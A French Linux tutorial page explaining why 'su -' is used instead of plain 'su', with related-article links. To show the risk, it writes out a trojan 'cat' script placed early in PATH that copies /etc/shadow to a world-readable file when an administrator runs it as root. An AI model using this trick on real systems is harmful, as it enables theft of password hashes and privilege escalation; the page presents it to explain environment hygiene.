GNU/Linux >> Tutoriels Linux >  >> Linux

Pourquoi utilisons-nous su - et pas seulement su ?

su - appelle un shell de connexion après avoir changé d'utilisateur. Un shell de connexion réinitialise la plupart des variables d'environnement, fournissant une base propre.

su change simplement d'utilisateur, fournissant un shell normal avec un environnement presque identique à celui de l'ancien utilisateur.

Imaginez que vous êtes un développeur de logiciels avec un accès utilisateur normal à une machine et que votre administrateur ignorant ne vous donne tout simplement pas un accès root. Allons (espérons-le) le piéger.

$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "[email protected]"
exit 0

$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"

Maintenant, vous demandez à votre administrateur pourquoi vous ne pouvez pas cat le fichier factice dans votre dossier personnel, cela ne fonctionnera tout simplement pas !

$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!

Si votre administrateur n'est pas très intelligent ou juste un peu paresseux, il peut venir à votre bureau et essayer avec ses pouvoirs de super-utilisateur :

$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit

Ouah! Merci, super administrateur !

$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy

Il, il.

Vous avez peut-être remarqué que le $PATH corrompu la variable n'a pas été réinitialisée. Cela ne serait pas arrivé si l'administrateur avait appelé su - à la place.


su - vous connecte complètement en tant que root, alors que su fait en sorte que vous fassiez semblant d'être root.

L'exemple le plus évident de ceci est que ~ est le répertoire personnel de root si vous utilisez su - , mais votre propre répertoire personnel si vous utilisez su .

Selon votre système, cela peut également signifier des différences dans l'invite, PATH , ou fichier d'historique.

Donc, si vous faites partie d'une équipe administrant un système et que votre collègue vous donne une commande à exécuter, vous savez que cela fonctionnera de la même manière si vous utilisez tous les deux su - , mais si vous utilisez tous les deux su , il peut y avoir des différences car vous avez différentes configurations de shell.

D'autre part, si vous souhaitez exécuter une commande en tant que root mais en utilisant votre propre configuration, alors peut-être su est mieux pour vous.

N'oubliez pas non plus le sudo , qui a un -s option pour démarrer un shell s'exécutant en tant que root. Bien sûr, cela a également des règles différentes, et elles changent en fonction de la distribution que vous utilisez.


La principale différence est :

su - username configure l'environnement shell comme s'il s'agissait d'une connexion propre en tant qu'utilisateur spécifié, il accède et utilise les variables d'environnement des utilisateurs spécifiés,

su username démarre simplement un shell avec les paramètres d'environnement actuels pour l'utilisateur spécifié.

Si le nom d'utilisateur n'est pas spécifié avec su et su - , le compte root est implicite par défaut.


Linux
  1. Pourquoi ne pas utiliser « qui » ? Quoi utiliser alors ?

  2. Pourquoi le CD n'est-il pas un programme ?

  3. Linux - Pourquoi utilisons-nous Su - Et pas seulement Su ?

  4. Linux - Pourquoi Setuid ne fonctionne-t-il pas ??

  5. Pourquoi utiliser Install plutôt que Cp et Mkdir ?

Pourquoi j'utilise rxvt comme terminal

7 raisons pour lesquelles j'utilise Manjaro Linux et vous devriez aussi

Qu'est-ce qu'une machine virtuelle et pourquoi l'utiliser ?

Qu'est-ce que les conteneurs multi-comptes Firefox ? Pourquoi et comment l'utiliser ?

Comment et pourquoi utiliser Linux pour installer Telnet

Pourquoi mon lien symbolique crée-t-il un fichier et non un dossier ?